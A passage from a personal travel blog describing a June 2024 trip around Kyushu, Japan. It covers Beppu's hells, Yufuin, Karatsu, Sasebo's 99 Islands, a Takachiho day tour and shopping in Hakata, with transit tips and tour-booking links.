here are different from Google Maps, which told me to walk to Nakamuta Station to wait for the bus, about 500 meters away. Please note that I went there in June 2024, and the schedule may have changed due to the time.Yutoku Inari ShrineAfter getting off at Yutoku Shrine, walk towards Omotesando.It seems that there were hardly any people or open shops on Omotesando and the shopping street on weekdays.Keep walking to the end (about 15 minutes), and you will reach the shrine.At the entrance of the shrine, there is an elevator behind the glass building. If you don’t want to walk up, you can take the elevator for a fee.As you walk up, there is a row of wind chimes for prayers. When I was there, there were no people, and as I passed by the wind chimes, a gust of wind made them ring loudly.Pass through the row of torii gates and beautiful hydrangea flowers. You can also climb up to the Okunoin (about 200 meters, steep and difficult to walk).After visiting, return to the station and take the JR train back.After comparing the Meoto Iwa sea gate at Oyashiro and Karatsu Castle, I felt that the Meoto Iwa sea gate was ordinary (after all, I have seen the famous sea gate of Itsukushima Shrine) and the transportation was inconvenient. Therefore, I plan to visit Karatsu.There was a mistake when changing trains. This small station had no electronic signboards. I got off and saw “Towards Karatsu” written on the platform, so I thought I could change trains there. However, when the time came, the train passed through another platform, and I couldn’t get on in time.After careful examination, I realized that I needed to check the small box in the bottom right corner of the timetable to find the correct waiting platform. The platforms on weekdays and holidays may not be the same.Since I missed the train to Karatsu and couldn’t go back to Meoto Iwa sea gate, and considering yesterday’s embarrassment, I decided to go back to the hotel in Hakata to rest. On the way back, I also discovered something interesting. I was wondering why the trains at the small stations didn’t open their doors (I was in the rear car). Upon closer observation, I found out that at stations without station staff, the train conductor is the station staff. To get off, you need to get off from the first car and pay the fare using the coin slot or swipe your transportation card (similar to buses). If you have a JR Pass, you just need to show it to the driver. Also, a reminder, if you are at an unmanned JR exit, just walk out with your JR Pass, do not throw it into the ticket recycling box.⚠️Around 16:00, back to Hakata, hotel Note that the washing machine at Toyoko Inn may not have detergent. Please make sure if it is an automatic detergent dispenser machine before washing.⚠️ If not, you need to use coins or buy detergent at the front desk. (30 yen)After putting the clothes in the washing machine, I went to the underground street of Hakata Station to find food.I bought a beef bento for dinner, it was great; the tea wine was okay, not much flavor.I also bought Yakult to drink at night, BRULEE caramel ice cream for dessert (very sweet!), and fried shrimp as a midnight snack (this time I bought the whole fried shrimp, previously bought a fake one in Kumamoto QQ).Laundry (30 mins), drying (1 hr), rest.Day 4 Yufuin, Oita Itinerary reference: KKday Japan Kyushu Fukuoka Oita Day Tour|Dazaifu Tenmangu Shrine・Yufuin・Beppu Jigoku & Kamado Jigoku|Departure from Hakata (Chinese, English, Japanese)Early in the morning, checked out and headed to JR Hakata Station to take the Yufu 1 to Yufuin. Luggage can be placed in the luggage compartment, if worried about sliding, place it horizontally. A cup of coffee to wake up The greenery this season along the way was not particularly scenic (or only the forest of Yufuin has a view?)Upon arrival at Yufuin Station, immediately turn right and go to the Coin Lockers to store luggage, as there are fewer spaces for luggage due to the luggage size. (1,000 yen)Possibly due to the season and weather, it felt overall gray and green, without any special feeling when I went.Walking along the street, you will reach Kinrinko Lake, a green lakeside exuding a hint of tranquility.Lake Kinrinko is very clean and clear, with many maple leaves (not yet changed color) by the lake.The street from Yufuin Station all the way to Lake Kinrinko is full of IP and cultural and creative small shops to explore. If you are interested in food, you can also check out the award-winning desserts in Yufuin, such as pudding, ice cream, and more.Of course, you can also see the Totoro Forest, Ghibli Shop, and the “Kyushu specialty” Kumamon everywhere.The Showa Museum in Yufuin has a very traditional Japanese feel.The Flower Village seemed too touristy and crowded, so I didn’t go in specifically.On the way, I bought the famous pudding taiyaki and some souvenirs (sesame powder, Yufuin Brick Factory - Shichifuku, cultural and creative items, Yufuin incense…). Side note: Can you believe I ran into a colleague in this paradise of Yufuin XD - Pinkoi Community SisterFor lunch, we originally planned to eat the famous Yufu Mabushi, a Yufuin kamameshi dish. There are two locations, one at the main store near Lake Kinrinko and one at the station exit. The one at the station exit was closed that day, and we were too lazy to walk back to the main store, so we ended up eating at Sushi Minamoto on the 1st floor.I had the Bungo beef steak, and my friend had the rice bowl; the beef was delicious, very fragrant, juicy, and not too gamey, and the price was reasonable.After eating, we strolled around until around 15:00 and then took a car to continue to Oita.There are quite a few trips from Yufuin to Oita, and there are fewer people (maybe more people are returning to Hakata?). There are also local trains. This time we took the local train directly and practiced the new Japanese I learned:この電車は大分に行きますか。はい、大分に行きます。16:20 OitaI happened to encounter an art installation at Oita Station (it even makes sounds).Oita gives off a quiet atmosphere, away from the hustle and bustle. When wandering in the city area, it feels unusually quiet, with only the faint sound of car engines, and not many people or car noises.First, drop off your luggage at the hotel. The layout of Toyoko INN is similar, and I happened to get a room with the same layout and angle as the one in front of Hakata Station yesterday, but the difference is that the bathroom here is bigger and the hallway is smaller.It’s still early, so I thought about taking a walk around the area and casually opened Google Maps to see nearby attractions.Giant BougainvilleaOn the way to Oita Castle Ruins, there is a huge bougainvillea at the park’s parking lot (looks like some curse from Jujutsu Kaisen).Oita Castle RuinsOita Castle Ruins only have moats, walls, and gardens left. Inside is an open parking lot and a platform for the castle tower, where you can overlook Oita City.The official AR App allows you to see what Oita Castle looked like before.Strolling back to the station market for food, Oita’s buses have a nostalgic feel but are well-maintained.Not sure what to have for dinner, so I randomly bought a pork cutlet rice bowl and a non-alcoholic Suntory sparkling drink (delicious!); the Japanese sauce packets are thoughtfully designed with a small corner for easy opening.For supper, there was strawberry smoothie ice cream, barbecue, and limited edition Kirin pineapple liquor (enough pineapple flavor, a bit sweet).Day 5 Beppu Hells, Beppu Itinerary reference: KKday Beppu Yufuin Day Tour Nishi Ryoji + Beppu Hells + Yufuin (Departing from Fukuoka) Kyushu Beppu Hell Hot Spring Tour | Regular Ticket / Presale Ticket | Buy NowIt only takes about 15 minutes by JR Limited Express from Oita Station to Beppu Station, and the scenery along the way is somewhat similar to the feeling of Hiroshima to Onomichi.Heading to Beppu Hell by taking a bus from JR - the first one is Sea Hell, the order can be referred to the itinerary in the picture. I want to visit all 7 hells, it’s cheaper to buy a whole set of 7 tickets at the entrance of Sea Hell If time is limited, I think you can just go to Sea Hell Just tear off a corner of the ticket and put it in the box for entry Each hell has a free foot bath area for restingSea HellSea Hell is the most spectacular in my opinion, with constantly churning steam and deep blue spring water.There is a platform and a small shrine behind.The small blood pond on the other side is quite unique.After leaving Sea Hell, follow the signs to reach the next Oniishibozu Hell.Oniishibozu HellMainly a mud geyser hell.There are signs pointing to the next hell when you come out.Kamado JigokuThe milk pond in Kamado Jigoku feels great to soak in.But the feature of Kamado Jigoku is not spring water, it’s smoke. The staff will use incense and blow air towards the hot spring steam to produce a lot of smoke, which is quite interesting (according to the explanation, it’s because the particles of incense will attract more water vapor molecules causing aggregation).Another feature of Kamado Jigoku is the row of hot spring experiences, such as rock bath, drinking salty thick hot spring water, foot bath, steaming face, hands, and throat (similar to a pediatrician in Taiwan XD).The space here is larger, with more experiences available, and the shops also sell some food, so you can take a break here.You can see a sign pointing to Oniyama Hell when you come out.Oniyama HellThe boiling water in Oniyama Hell is more intense, constantly surging out.The other side of the park is the crocodile park.Coming out and following the instructions will lead you to Shiraike Jigoku.You will pass by the Jigoku Onsen Museum (cafe) where you can take a break.Shiraike JigokuShiraike Jigoku is relatively unremarkable, with a small tropical fish aquarium.The remaining Blood Pond Jigoku and Tornado Jigoku are not in this area and require taking a bus to reach.Coming out of Shiraike Jigoku, walk down to the intersection and turn left, then head to the waiting area at Iron Wheel Station No. 2.Blood Pond JigokuFirst, visit Blood Pond Jigoku, a larger version of the small blood pond in Umi Jigoku.Walking down will lead you to Tornado Jigoku.Tornado JigokuTornado Jigoku is a geyser that erupts intermittently, about every 30-40 minutes, lasting 6-10 minutes each time. You can inquire with the staff at Tornado for the eruption schedule (we were informed by the staff), if it’s about to erupt, you can watch it first, otherwise, head to Blood Pond Jigoku.The smoke during the eruption forms a tornado, hence the name.Gokuraku PavilionLunch can be enjoyed directly at the Gokuraku Pavilion in Blood Pond Jigoku.Try the famous Hell Gokuraku Curry, with Japanese-style rice topped with thick curry (mildly spicy), grilled vegetables, and chicken, it’s delicious and refreshing without being greasy.After eating, check out nearby attractions such as Kibune Castle, Cross Mountain Observatory, Me-tan Jigoku, Yunohana…Kibune CastleOn the way back to Iron Wheel 2 Bus Station, consider visiting Kibune Castle. The castle is small, but the view from the lookout is nice. However, it’s quite tiring to walk uphill from the bus station. The Cross Mountain Observatory, Me-tan Jigoku, and Yunohana are actually further up from Umi Jigoku; if you plan your itinerary again, you should visit these attractions first before heading down to Umi Jigoku, then proceed all the way to Blood Pond Jigoku and Tornado Jigoku, or vice versa starting with Blood Pond and Tornado.Cross Mountain ObservatoryReturn the translated text:Boarded the bus again to cross the sea of hell, heading to the Cross Mountain Observatory in Beppu City; the sun was scorching hot, and the observatory only had restrooms, no shops or resting areas.The lush greenery on the opposite side of the entrance was very beautiful.Since it was a night view, there wasn’t much to see in the morning, just the scorching sun.Alum HellDescending back to Alum Hell, the ticket counter is across from Okamotoya Pudding Shop, just ask the staff to go across.You can taste a steamed pudding from hell before leaving.The Yunohana Cottage is used to dry and crystallize hot springs, and going up to the Yunohana Shop, you can buy hot spring bath salts.Yunohana CottageBought some bath salts, face masks, and lotion as souvenirs at the Yunohana Shop.Also, they offer Private Bath for those who are shy to go to public baths.Around 4:00 PM, getting ready to take the bus back to the city.BeppuAfter returning to Beppu Station, walk to Beppu Tower, and explore the area on the way. (Front statue, old hot spring pavilion, and O-Tengu)Beppu TowerBuy tickets from the vending machine on the first floor of Beppu Tower, take the elevator up, and enjoy the cityscape of Beppu’s coastal area.Viewing the streets and cars from above is very soothing.There is a meteorite exhibition inside the tower. In addition to the Beppu Tower, you can also take a cable car or visit the new Beppu - Tower of the World.The Beppu Tourism Bureau website also provides other itinerary references :Beppu Tourism Bureau websiteReturn to the hotel to rest.After resting at the hotel, go to the Oita Station market to buy dinner, pork cutlet bento, and Oita limited fruit wine (refreshing and not too sweet).Desserts/late-night snacks include fried shrimp, instant noodles, white peach ice cream, and jasmine tea (I don’t like jasmine tea).Day 6 Shimonoseki, Karatsu [_KKday itinerary reference: Japan Fukuoka Kitakyushu chartered one-day tour Dazaifu Tenmangu Shrine, Moji Port, Karato Market, Kanmon Straits, Akama Shrine_](https://www.kkday.com/en/product/157874?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} Start from Oita to Kokura, then go to Moji Port, Shimonoseki. Shimonoseki and Karatsu are about 140 kilometers apart, and normal people wouldn’t plan this itinerary; because on the first day in Japan, I took the wrong train and missed Karatsu, so I really wanted to visit this place, hence the determined one-day trip to Karatsu.Woke up late, around 8:40 from Oita took the JR Limited Express to Kokura, planning to leave luggage in Kokura and then take a branch line to Moji Port.It started drizzling in Oita, and I realized it has rained in every city I’ve visited. (Rain god confirmed)Around 10 o’clock arrived at Kokura Station, wandered around for a while, all the self-service cloakrooms were full (a friend said there were spots at 9 o’clock), the manned cloakroom opens at 11 o’clock, so I had to carry my luggage and go directly to Moji Port to check there.After exiting Moji Port Station, turn left (no need to leave the building), there are self-service Coin Lockers, quite crowded this time, all full; fortunately, the manned luggage counter has started operating, successfully checked luggage (but the manned counter only operates until 8 pm! ⚠️).I was thinking of having some Moji curry bread, last year there was no queue, enjoyed it without waiting, but upon exiting the station, I saw a long queue and gave up, turned right to Moji Port Bus Station to wait for the bus to Shimonoseki.ShimonosekiGot off at the underground pedestrian walkway at Shimonoseki Station, this time looking at the Kanmon Bridge from a different angle, the view on the right is from the Moji Port Retro Observatory.Here is the translated content:Here is a torii gate at the Hofuri Shrine, with the Hofuri Shrine and Hofuri Shrine Observatory on the mountain behind.From the pedestrian entrance, take the elevator to B1 to enter the hiking area. Admission is free for pedestrians, but bicycles are charged a 20 yen toll. Also, be aware that there are wild boars in the area.The trail is 780 meters long, straight all the way to the end, with a dividing line in the middle.After passing through the gate, there are shops selling simple snacks. I bought an octopus cake to fill my stomach. (It’s chewy inside, crispy on the outside, with real octopus, delicious!)From the opposite angle, you can see the Kanmon Bridge and the Moji Port Retro Observatory, giving a feeling of looking from Bali, Taiwan to Tamsui.Continue hiking along the coast to the Karato Market.On the way to the Karato Market, you will pass by the Akama Shrine, so it’s worth stopping by for a visit.On the coast outside the Karato Market, many people buy food and have picnics outside. Although there are many people, it is still very clean. Since I was mainly sightseeing and not a big fan of raw food, I didn’t go inside to see, but it seemed crowded at lunchtime.After the Karato Market, you can take a ferry back to Moji Port. You can buy tickets at the ticket machine outside the store on the other side. If you have time, you can also visit Ganryu Island (Let’s duel! The sacred place!).It takes about 10 minutes to reach Moji Port. (It really feels like taking a ferry from Tamsui to Bali!)As it started to rain when I returned to Moji Port, and I had visited Moji Port last year, I didn’t stay long and prepared to go to the station to pick up my luggage and head to Kokura and Hakata.It’s around 14:00, and I checked the time to find that I would arrive at Karatsu Castle around 4:30. Every second counts, so I harnessed the power of New Taiwan Dollars (JPY) in Kokura, directly purchasing a ticket for the San’yo Shinkansen Kokura to Hakata segment, where the world’s fastest 300km/h bullet train races. It only takes 15 minutes to reach there (compared to 45 minutes for JR Express and 65 minutes for local trains). The JR Pass Kyushu does not cover the San’yo Shinkansen (Kokura-Hakata segment). For Nozomi and Mizuho trains, you need to buy separate tickets at the Shinkansen platform. Using the JR Pass will result in denial of entry. Even if you accidentally enter or exit, you will be refused and need to purchase a ticket (based on past experience).⚠️From JR Karatsu, it takes about 20 minutes to reach Karatsu Castle. I decided to take the highway bus, which drops off passengers before Karatsu Castle’s bridge. (It was my first time taking it!)Upon arrival in Hakata, I took the subway to Tenjin Minami and stored my luggage in the underground shopping area. (Luckily, I found the last available locker at spot 2.)From Exit 8 of Tenjin’s underground street, follow the signs to Fukuoka Mitsukoshi department store and head to the 3rd floor of Tenjin Bus Center to reach the bus stop.As I was unsure about seat reservations and ticket purchases, I directly went to the counter to buy a ticket. After buying the ticket, feeling hungry, I grabbed a bread from Starbucks and queued up at the designated platform for boarding. (Later, I found out that no seat reservations are needed for Karatsu, and you can use a transportation card just like taking a bus. The fare is a fixed 1,100 JPY regardless of the stop.)At 15:02, I boarded the high-speed bus to Karatsu (Hodoyabashi), with the bus occupancy rate at around 80%.The image on the right shows the view of Fukuoka Tower from this road last year, and this year, it’s the view of Fukuoka Tower from this road. (A sense of time and space overlapping.)Mainly commuting in Japan, after passing through Karatsu city, I was the only person left on the bus. I rode all the way to the final stop — Hodoyabashi.Karatsu [_KKday private car itinerary reference: “[Fukuoka Private Car Day Tour] Kyushu, Fukuoka Prefecture Fukuoka Tower, Dazaifu Tenmangu Shrine, Ohori Park, Karatsu, Sakurai Futamiura, Yobuko Asaichi, Shima, Tenjin Underground Street Flexible itinerary combination!”_](https://www.kkday.com/zh-tw/product/144234?cid=19365&ud1=cb65fd5ab770){:target=”_blank”} After getting off, a short walk ahead is Hodoyabashi, and walking further back leads to Karatsu Castle. Seeing the view of the bridge and castle from this angle made all the traveling worthwhile.Around 16:35, with only 25 minutes left before Karatsu Castle closed, I decided to take a stroll since I was already there.Karatsu Castle requires a walk up a hill from below. With time running out, I turned left and took the elevator up to Maizuru Park next to it.A one-way elevator ride costs 100 JPY. Purchase a ticket from the vending machine at the entrance and hand it to the staff.The Tenshukaku is closed for visitors, just come up to see the scenery and Karatsu Castle.Return to the entrance before the elevator closes, and walk back to JR Karatsu Station following the tourist map.Take the stone wall path to Karatsu Shrine. (Few people on the way, desolate)Karatsu Shrine (closed after 17:00), Former Karatsu Bank (designed by the same architect as Tokyo Station - Kingo Tatsuno).Near the station is the Hikiyama Exhibition Hall (also closed after 17:00), where you can only see small models at the station. Take JR back to Hakata (Tenjin Minami) when you arrive at Karatsu Station; encountered an issue when exiting the station, as it is JR Karatsu Station for entry and subway Tenjin Minami for exit, the station staff does not recognize JR Pass and requires a separate ticket for the whole journey (JR Karatsu to Tenjin Minami) QQ.It was raining heavily in Hakata (the rain god was angry), so I bought a rice ball in Tenjin Underground Street for dinner and headed to the hotel with my luggage.APA Hotel Fukuoka-Watanabedori EXCELLENT This APA hotel has a larger space, but the overall facilities are quite old. It was my first time staying in an APA without a unit bath, and there is no hot spring bath, smart integration (check washing machines, Airplay…).Snack was strawberry smoothie, late-night snack was convenience store fried chicken, and Akiya (very sweet).End of a long day.Day 7 Sasebo (99 Islands), Takeo OnsenIt was cloudy in the morning, also the last day of JR Pass, unable to change the itinerary, had to continue taking the train to Sasebo.JR journey takes about an hour and a half, recorded a segment of the JR Kyushu train broadcast as a memory.The last segment from Saga to Sasebo will be reversed (about 10 minutes). If you are afraid of motion sickness, you can use your feet to block and switch the direction of the seat.After exiting Sasebo Station, cross the road to the opposite side and walk to find bus stop No. 6, heading to “Kujukushima Aquarium.”Transfer to a bus to Kujukushima Aquarium Station and walk about 5 minutes to the Kujukushima Cruise Visitor Center, where you can buy tickets to board the ship. (Show your JR Pass for a discount) KKday Online Ticket Purchase: Japan Kyushu Nagasaki | Kujukushima Cruise TicketKujukushima CruiseKujukushima Official Website InformationThis time, I boarded the white Pearl Queen at 11:00.Heavy rain, bad weather, unable to become the king of the sea, can only hold an umbrella, blow the wind, and get wet in the rain. There are broadcasts in Chinese, English, Japanese, and Korean on board, the journey takes about 50 minutes, there are toilets and a shop. You can go up to the deck and birdwatching platform outside the cabin, but we didn’t go up due to heavy rain and strong winds that day. When the ship passes between two islands, the wind can be particularly strong, so be careful.There are seats inside the cabin.After the tour in heavy rain without seeing much, we returned to Sasebo all the way.On the way back, stop by Hachi no Ie to taste the famous lemon steak from Sasebo.Lemon steak is four thin slices of steak + sauce + lemon slices + lemon juice, refreshing taste, slightly insufficient amount of meat.After eating, I ordered another specialty fruit puff, which is filled with generous fillings and real fruit chunks inside.After eating, I strolled through the shopping street and took the bus back to the station.Taking the train back to (Hakata, Takeo Onsen) direction, this is the terminal station, so you have to wait for the cleaning staff to finish cleaning before boarding; just like when you came, the train will reverse from Early Qi to Sasebo.The time is about 13:30. You can also go to Huis Ten Bosch in Sasebo, but I didn’t specifically plan to go there. KKday Sasebo reference itinerary: Japan Nagasaki|Kyushu Huis Ten Bosch Ticket Japan Nagasaki|Sasebo SASEBO Military Port Yacht Tour 【Sasebo】Shore Excursion|Resorts World One 99 Islands Aquarium Higiria Admission Ticket + Pearl String Experience (with pearls) (Sasebo City, Nagasaki Prefecture)Takeo Onsen _KKday itinerary reference: “Kyushu Saga One-day Tour Yutoku Inari Shrine, Ureshino Onsen, Mikunoyama Park, Takeo Library & Takeo Shrine/Tosu Premium Outlets Departing from Fukuoka Hakata”_ Last time I changed trains at Takeo Onsen on the way to Nagasaki, I didn’t have much impression of this station. Later, I followed Takeo City’s tourism IG (the official account regularly holds events, such as free firefly shuttle service, if you want to go to Takeo for hot springs and accommodation, you can follow it.) This time I thought it was a good opportunity to pass by + had time to take a look.From Takeo Station (unmanned station, no need to insert JR Pass, just exit), when you come out on the street, there are few people and it’s very quiet.Just passing by, I only went to the main attractions I found, which happened to be diagonally opposite. There are not many bus schedules, and I didn’t want to wait, so I walked directly.First, I went to Takeo Shrine, and on the way, you will pass by Tsukasaki Okusu, a small attraction.Tsukasaki Okusu, estimated to be 2,000 years old.Takeo ShrineFrom the bottom, walk up a short flight of stairs to the Takeo Shrine.Next to the Takeo Shrine, pass through the sacred tree gate and walk about 5 minutes to see the legendary Takeo Great Camphor Tree. (Estimated age of the tree is 3,000 years.)The Takeo Great Camphor Tree is enclosed and can only be viewed from a distance.Bought a Takeo Shrine Great Camphor Tree guardian charm (1,500 yen), larger in size + wooden box.After visiting the Takeo Shrine, walk back to see the other side of the Horaiyu Monument.The entire hot spring street is deserted, with several hot springs and hotels to choose from (not necessarily Horaiyu), if you want a quiet and convenient transportation option for hot spring bathing in Kyushu, Takeo Onsen is a great choice!Horaiyu MonumentJust a visit here.After entering the monument, there is the Horaiyu hot spring for bathing, and on the other side, there is the Egret Hot Spring for accommodation.Takeo City tourist map, found information about the Mifuneyama Rakuen which looks good, but it was already around 15:30, too late to go.Boarded the express train to Hakata, returned to Hakata around 18:00.Strolled back to the hotel, dinner casually solved at the convenience store, rice balls, pork cutlet sandwich, Fujiya Peach Soda (delicious!); stayed at APA and Toyoko Inn many times before realizing they have ice makers, so cool!Excluding the old equipment, the room size and view of this APA hotel are really nice.Day 8 Sakurai Futamiura, Meoto Iwa, Minami Zokyo-in, Hakata TourNo more JR Pass. [_KKday charter itinerary reference: “[Fukuoka Charter Day Tour] Kyushu, Fukuoka Prefecture Fukuoka Tower, Dazaifu Tenmangu Shrine, Ohori Park, Karatsu, Sakurai Futamiura, Yobuko Asaichi, Itoshima, Tenjin Underground Street Flexible itinerary combination!”_](https://www.kkday.com/zh-tw/product/144234?cid=19365&ud1=cb65fd5ab770){:target=”_blank”} Sakurai Futamiura, Meoto IwaAfter checking out of the hotel in the morning, take the JR to Kyudai Kenkyu Toshi Station.Upon exiting, the platform for the Nishi-no-Ura Line is on the left-hand side, with staff guiding the way, the ride takes about 30 minutes.The fare is the highest bus fare I have taken, 730 Japanese yen.After getting off, it is the couple rocks of Sakurai Futamiura.It looks very beautiful and peaceful. After this, you can visit Sakurai Shrine (it is said that many fans go there to pay homage because it has the same name as the Japanese group Arashi members) or go further to Kaiya Omon Sightseeing Boat (looks cool!).The return schedule, direct to Hakata every hour in the afternoon, and to Kyudai University Research City Station every hour.Back to Hakata around 12:30 noon, first go for food.Visit again Hakata Miyachiku (Japan’s Miyazaki beef specialty store Hakata Miyachiku) to taste Miyazaki beef commercial lunch.The commercial lunch has a high cost-performance ratio (the evening offers high-end yakiniku set meals) + individual compartments for social anxiety.This time I ordered the lean meat set meal 200g for 3,200 Japanese yen, and devoured two bowls of rice (rice soup is free to refill).NanzoinAfter returning to Hakata, take the train to Nanzoin-mae Station.Walk out of the station, pass by Kojin Tea House (you can take a break and have lunch here), cross the street, and you will reach the entrance of Nanzoin. Visit the reclining Buddha on the right, and there are also statues for seeking marriage, peace, and Fudo Myoo on the left. Nanzoin is a private institution and has enshrined pagodas, so there are more rules and prohibited photography areas that need to be followed.Prohibited: short sleeves, shorts, exposed midriff or shoulders, playing music, dancing, photography (e.g., entrance cave with rows of pagodas, Fudo Myoo statue)After climbing the platform, you can see the main statue of the reclining Buddha, with scriptures on the soles of the feet, overall very magnificent and solemn.After the visit, take the train back to Hakata Station, arriving around 15:40.Hakata PilgrimageVisit some places in Kyushu that were missed last time.Gion - Tochoji TempleYou can visit the Fukuoka Daibutsu on the second floor of Tochoji Temple (50 yen). After the visit, you can have dinner at 17:00 at the Teppan Fried Dumplings Iron Pot, which is open for another hour, and then go to Ohori Park.Ohori ParkOhori Park is quite large, it takes about 45 minutes to walk around; you can also ride a swan boat.Fukuoka City Art Museum is closed on Mondays, so you can only admire Yayoi Kusama’s pumpkin from a distance.By the time you finish exploring, it’s about 17:00, time for dinner!Teppan Fried Dumplings Iron PotI’ve been here once before and still remember the crispy fried dumplings. There is another branch - Teppan Fried Dumplings Iron Pot Hakata Gion Store, but when I passed by a few days ago, the door was locked with a notice saying it’s under renovation, please visit the main store. (However, Google Maps still shows it’s open) Self-service for sauce and water. The store only accepts cash, no electronic payments. ⚠️Around 17:20, seeing people waiting outside, shortly after, the elderly lady staff came out to welcome us in.This time I knew to order two servings of fried dumplings. Last time, the elderly lady gestured that one serving wasn’t enough (I didn’t understand at that time), 1 serving with 8 dumplings (500 yen), two servings with 16 dumplings, and a glass of draft beer to end this round!The dumplings are freshly made and fried, they sizzle when served, the skin is thin and crispy, and the filling is probably chive and pork, simple, not salty, and full of the ingredients’ own flavors.After finishing eating at 18:00, some people started queuing outside.After dinner, on the way back to the hotel, passing by the preparations for Nakasu Yatai, this time I found many shared bicycles. I’ve been changing hotels this time, so tired; this is the hotel for the last three days.For dessert, ice cream, and late-night snack, a convenience store hot dog.Day 9 KKDAY Takachiho Day Tour, Takachiho Shrine, Takachiho Gorge, Amano Iwato Shrine, Tian’an River [**Join the “【Group Tour, Daily Departure】Japan Kyushu Day Tour Takachiho Gorge & Amano Iwato Shrine & Tian’an River (including special Aso Akagyu BBQ set meal) Departing from Fukuoka” itinerary directly.**](https://www.kkday.com/zh-tw/product/32511-kyushu-chinese-guided-day-tour-from-fukuoka-takachiho-gorge-kamishikimi-kumanoimasu-shrine-amanoiwato-shrine?cid=19365&ud1=cb65fd5ab770){:target=”_blank”} For departures from other locations (Kumamoto) or combining with other attractions (Aso, Minami Aso, Shirakawa Water Source), please refer to other itineraries on KKday.Depart for Hakata Station Hakozaki Exit (Hakata Back Station) before 07:45 in the morningFind the guide for the day trip to your destination in front of the square at LAWSON Hakata Station Hakozaki Exit Store. (There will be several groups at the same time, including those led by KKDAY, EasyGo, those going to Takachiho, those going to Yufuin, etc.)The guide (Chinese) has a list and will tell you the car number after check-in. Remember the car number and you can board directly. Seats are first-come, first-served. If there are special circumstances (car sickness), please inform the guide.Departure when everyone is present at 08:00 Guide self-introduction (Shinonome), in Chinese, English, and Japanese Introduction of the itinerary, the guide says that the Takachiho day trip is the farthest and most tiring among all day trip options 😂 WiFi on the bus (but not very stable) Always wear your seatbelt ⚠️ Mostly Taiwanese Introduction to Takachiho Shrine, checking if anyone has made a reservation for rowing Approximately 3 hours to reach the first Takachiho ShrineAbout Takachiho Rowing Takachiho Rowing requires a reservation three days in advance, with limited slots for each time slot ⚠️ Takachiho Rowing requires a reservation three days in advance, with limited slots for each time slot ⚠️ Takachiho Rowing requires a reservation three days in advance, with limited slots for each time slot ⚠️The rowing journey is not long, it should end in about 30-45 minutes round trip. Lunch will be finished around 12:00, the Takachiho itinerary will end around 13:20, and you will need to gather again for the return.Three groups in our tour have reservations. Therefore, if you want to combine a day trip with a rowing reservation, 12:00 / 12:30 would be a more suitable time. ⚠️After lunch, you will need to walk to Takachiho Gorge. If you have a rowing reservation or feel that you cannot handle it physically, the guide will arrange a shuttle directly to save time. It is still recommended to follow the arrangements made by KKDAY. Before making a reservation, it is advisable to inquire with the official to ensure there are no issues. ⚠️Rest stop at 9:20Due to the long journey, there will be a 10-minute rest stop at a rest area for everyone to use the restroom and stretch.Arrival at Takachiho Shrine at 10:50Takachiho Shrine is surrounded by sacred trees, exuding a tranquil and fresh atmosphere.Japanese Cedar, the guide mentioned in the car that if you come with family, couples, lovers, or friends, you can hold hands and walk around the tree three times for blessings.Around 11:20 return to the gathering point and get back on the bus.11:30 Lunch at Takachiho Cuisine Kagura InnAfter visiting Takachiho Shrine, head to have lunch nearby.Slippers are required, and it feels like a Japanese restaurant specifically for group tourists, but it was my first experience at a Japanese restaurant.The overall quality of the food was average, leaning towards mediocre, possibly due to the large group resulting in most dishes being cold and the meat being average.12:15 Start hiking to Takachiho Gorge (all the way downhill)After lunch, follow the guide downhill to Takachiho Gorge.After about a 20-minute walk, you can see Takachiho Gorge, and from this angle, you can see the end of the gorge (the boat stop line).12:45 Arrive at Takachiho GorgeLooking back at the ancient road and the boat below from the bridge on the Takachiho side.The boating area is just down the bridge, and the total length (to the stop line seen earlier) is about 250 meters.There is a small park and shopping street where you can have ice cream or snacks to recharge.13:20 Gather again and return to the tour busAround 13:45 Arrive at Amano Iwato Shrine Main Shrine (additional itinerary during cherry blossom season)After touring the bus, walk about 5 minutes to the Nishihongu of Amano Iwato Shrine, where different masks of gods are hung at the storefronts.The guide will supplement the story of Amaterasu, the Sun Goddess, introduced on the tour bus.To go to Amano Iwato, you need to walk a short distance. The guide will walk with everyone to Amano Iwato first, and then you can explore freely (or follow the guide back).Around 14:00 Walk to Amano IwatoAround 14:15 Arrive at Amano IwatoThe Amano Iwato Cave is where Amaterasu, the Sun Goddess, once hid; the torii gate of the shrine is surrounded by stones left by worshippers.On the way back from the visit, you will pass by an ice cream shop.Everyone lined up for ice cream here, and also tried the local Miyazaki mango ice cream (900 yen). The guide said Miyazaki mangoes are high-quality, but honestly, Taiwanese mangoes have more mango flavor.After a rest, slowly walk back to visit Amano Iwato Shrine.Around 15:10 Gather for the return journeyAfter the last itinerary, it was already past 3 o’clock in the afternoon, and it was time to return (still a three-hour drive back to Fukuoka).Around 16:40 Stop at a rest areaOn the return journey, there will also be a stop at a rest area for everyone to use the restroom and stretch their legs.Around 18:00 Return to Hakata Station Chikushi Exit (Hakata Bus Terminal)The itinerary ends smoothly. Thank you for Ishinamu’s guidance and itinerary arrangement.👏👏👏👏👏.For dinner, I casually bought a convenience store hot dog, the rice ball from the Tenjin Underground Street that I had a few days ago on Day 6, and the new grape-flavored Suntory drink was delicious!! I also had a BRULEE for dessert.Good night.Day 10 Shopping in Hakata, Tenjin, and watching baseball at PayPay DomeThe sightseeing itinerary in Kyushu is almost coming to an end, with nearly two days left for shopping and shopping.In the morning, I went to Don Quijote (24 hr) for some simple shopping. The Tenjin Main Store is very spacious, with several floors to explore.Visited the department store near Hakata Station around noon, bought souvenirs, Fukuoka-produced sake, Nagasaki cake from Fukusaya, Kokura Meigetsu rice crackers, and more.Returned to the Tenjin area in the afternoon, explored Tenjin Underground Street, Le Labo, Iwataya Department Store, Mitsukoshi Department Store, and many more (lots of department stores in Tenjin).Just ran out of Le Labo Another 13 perfume, so bought a 50ml bottle this time (around $5,800 NTD after tax refund).Had fun twisting a cute bus stop button at C-pla in Tenjin XD[] (https://www.youtube.com/watch?v=JwwjYSU20-c){:target=”_blank”}It makes a sound when pressed XD.Carrying the loot back to the hotel, had a hot dog, dessert, and a must-try in Japan! Coca-Cola!Canal City HakataAfter a rest, headed out again and arrived at Canal City Hakata at 16:30.Mainly went to the huge gachapon store on B1.https://gofukuoka.jp/en/spots/detail/196050Finished shopping and headed to Hakata Station.Around 17:30, took a bus from Hakata Station to PayPay Dome, watched a baseball game at 18:00.Fukuoka SoftBank Hawks Game @ Fukuoka PayPay Dome Stadium Today’s match-up: Fukuoka SoftBank Hawks vs. Tokyo Yakult SwallowsSome Entry Rules Reminders : Open bags for security check, no outside food allowed, can bring a bottle of tea or water, no outside alcohol allowed, drinks and food available inside, remember to get a re-entry permit if leaving and 